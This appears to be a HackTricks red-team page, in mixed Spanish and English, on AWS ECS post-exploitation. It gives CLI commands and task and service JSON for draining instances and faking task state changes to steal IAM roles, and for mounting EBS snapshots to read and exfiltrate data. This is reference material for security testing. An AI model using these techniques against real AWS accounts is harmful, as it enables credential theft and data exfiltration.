AWS - ECS Post Exploitation

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

ECS

Para más información revisa:

AWS - ECS Enum

Host IAM Roles

En ECS se le puede asignar una IAM role can be assigned to the task que se ejecuta dentro del container. If la task se ejecuta dentro de una EC2 instance, la EC2 instance tendrá another IAM role adjunta.
Lo que significa que si logras comprometer una ECS instance podrías potencialmente obtener el IAM role associated to the ECR and to the EC2 instance. Para más información sobre cómo obtener esas credenciales revisa:

Cloud SSRF - HackTricks

Caution

IMDSv2 con un hop limit de 1 does not bloqueará las tasks awsvpc ni las host-networked—solo las Docker bridge tasks están lo suficientemente lejos para que las respuestas mueran. Ver ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation para el flujo de ataque completo y notas de bypass. Investigación reciente de Latacora (https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) muestra que awsvpc y host tasks todavía obtienen las credenciales del host incluso cuando se aplica IMDSv2+h=1.

Privesc to node to steal other containers creds & secrets

Además, EC2 usa docker para ejecutar tasks de ECS, así que si puedes escapar al node o access the docker socket, puedes check qué other containers se están ejecutando, e incluso get inside of them y steal their IAM roles adjuntas.

Making containers run in current host

Además, la EC2 instance role normalmente tendrá suficientes permissions para update the container instance state de las EC2 instances usadas como nodes dentro del cluster. Un atacante podría modificar el state of an instance to DRAINING, entonces ECS remove all the tasks from it y las que se están ejecutando como REPLICA serán run in a different instance, potencialmente dentro de la attackers instance para que pueda steal their IAM roles y obtener información sensible desde dentro del container.

aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>

La misma técnica puede realizarse anulando el registro de la EC2 instance en el cluster. Esto es potencialmente menos sigiloso pero forzará que los tasks se ejecuten en otras instances:

aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force

Una técnica final para forzar la re-ejecución de tasks es indicar a ECS que la task or container was stopped. Hay 3 APIs potenciales para hacer esto:

# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

Robar información sensible de los contenedores ECR

La instancia EC2 probablemente también tendrá el permiso ecr:GetAuthorizationToken, lo que le permite descargar imágenes (podrías buscar información sensible en ellas).

Montar un snapshot de EBS directamente en una tarea ECS (configuredAtLaunch + volumeConfigurations)

Abusa de la integración nativa ECS EBS (2024+) para montar el contenido de un snapshot de EBS existente directamente dentro de una nueva tarea/servicio ECS y leer sus datos desde dentro del contenedor.

  • Requisitos (mínimos):

  • ecs:RegisterTaskDefinition

  • Uno de: ecs:RunTask OR ecs:CreateService/ecs:UpdateService

  • iam:PassRole en:

  • ECS infrastructure role used for volumes (policy: service-role/AmazonECSInfrastructureRolePolicyForVolumes)

  • Task execution/Task roles referenced by the task definition

  • If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).

  • Impacto: Leer contenidos arbitrarios del disco desde el snapshot (p. ej., archivos de base de datos) dentro del contenedor y exfiltrarlos vía red/logs.

Pasos (ejemplo Fargate):

  1. Crea el ECS infrastructure role (si no existe) y adjunta la managed policy:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
  1. Registrar una task definition con un volume marcado configuredAtLaunch y montarlo en el container. Ejemplo (imprime el secreto y luego duerme):
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
  1. Crear o actualizar un servicio pasando el snapshot de EBS vía volumeConfigurations.managedEBSVolume (requiere iam:PassRole en el rol de infraestructura). Ejemplo:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
  1. Cuando la tarea arranca, el contenedor puede leer el contenido del snapshot en la ruta de montaje configurada (p. ej., /loot). Exfiltrate a través de la red/los logs de la tarea.

Limpieza:

aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks